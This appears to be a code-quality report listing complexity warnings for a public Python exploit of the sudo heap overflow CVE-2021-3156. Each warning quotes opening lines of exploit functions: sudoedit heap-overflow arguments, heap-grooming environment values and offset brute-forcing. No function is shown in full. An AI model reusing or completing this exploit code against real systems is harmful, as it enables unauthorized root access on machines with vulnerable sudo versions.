File userspec_generic.py has 564 lines of code (exceeds 250 allowed). Consider refactoring.

Open

#!/usr/bin/python
'''
Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya

From https://github.com/worawit/CVE-2021-3156

Function find_cmnd_size has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring.

Open

def find_cmnd_size():
    argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"", None ]
    env = [ b'A'*(0x401f+0x108-1), b"LC_ALL=C", b"TZ=:", None ]

    size_min, size_max = 0xc00, 0x2000

• Read up
  Read up

Function create_env has a Cognitive Complexity of 18 (exceeds 5 allowed). Consider refactoring.

Open

def create_env(offset_defaults, offset_first_userspec, offset_userspec):
    # offset_userspec
    # - 0 if only first userspec is enough
    # - -1 if only single userspec
    with open('/proc/sys/kernel/randomize_va_space') as f: has_aslr = int(f.read()) != 0

• Read up
  Read up

Function find_target_userspec_chunk has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.

Open

def find_target_userspec_chunk(argv, env_prefix):
    pos = len(env_prefix) - 1
    env = env_prefix[:]
    env.extend([ b"LC_ALL=C", b"TZ=:", None ])
    

• Read up
  Read up

Function _find_single_userspec_chunk has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.

Open

def _find_single_userspec_chunk(argv, env_prefix, offset_member=-1):
    if offset_member == -1:
        offset_member = find_member_chunk(argv, env_prefix)
    
    # finding offset of only one userspec needs bruteforcing a bit

• Read up
  Read up

Function find_member_chunk has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.

Open

def find_member_chunk(argv, env_prefix):
    # expect username ("root") chunk size 0x20 then follow by struct member
    offset = 0
    pos = len(env_prefix) - 1
    env = env_prefix[:]

• Read up
  Read up

Function get_sudo_version has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.

Open

def get_sudo_version():
    proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
    for line in proc.stdout:
        line = line.strip()
        if not line:

• Read up
  Read up

Function main has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.

Open

def main():
    cmnd_size = find_cmnd_size()
    print("found cmnd size: 0x%x" % cmnd_size)

    argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"A"*(cmnd_size-0x10-len(PASSWD_PATH)-1)+b"\\", None ]

• Read up
  Read up

Function create_env has 28 lines of code (exceeds 25 allowed). Consider refactoring.

Open

def create_env(offset_defaults, offset_first_userspec, offset_userspec):
    # offset_userspec
    # - 0 if only first userspec is enough
    # - -1 if only single userspec
    with open('/proc/sys/kernel/randomize_va_space') as f: has_aslr = int(f.read()) != 0

Function _brute_userspec_offset has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.

Open

def _brute_userspec_offset(argv, env, pos, max_offset):
    offset = None
    for i in range(0, max_offset, 0x10):
        exit_code, err = spawn(SUDO_PATH, argv, env)
        #print("0x%x, exit: %d" % (i, exit_code))

• Read up
  Read up

Function find_target_userspec_chunk has 27 lines of code (exceeds 25 allowed). Consider refactoring.

Open

def find_target_userspec_chunk(argv, env_prefix):
    pos = len(env_prefix) - 1
    env = env_prefix[:]
    env.extend([ b"LC_ALL=C", b"TZ=:", None ])
    

Function run_until_success has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.

Open

def run_until_success(argv, env):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*env)

    r, w = os.pipe()

• Read up
  Read up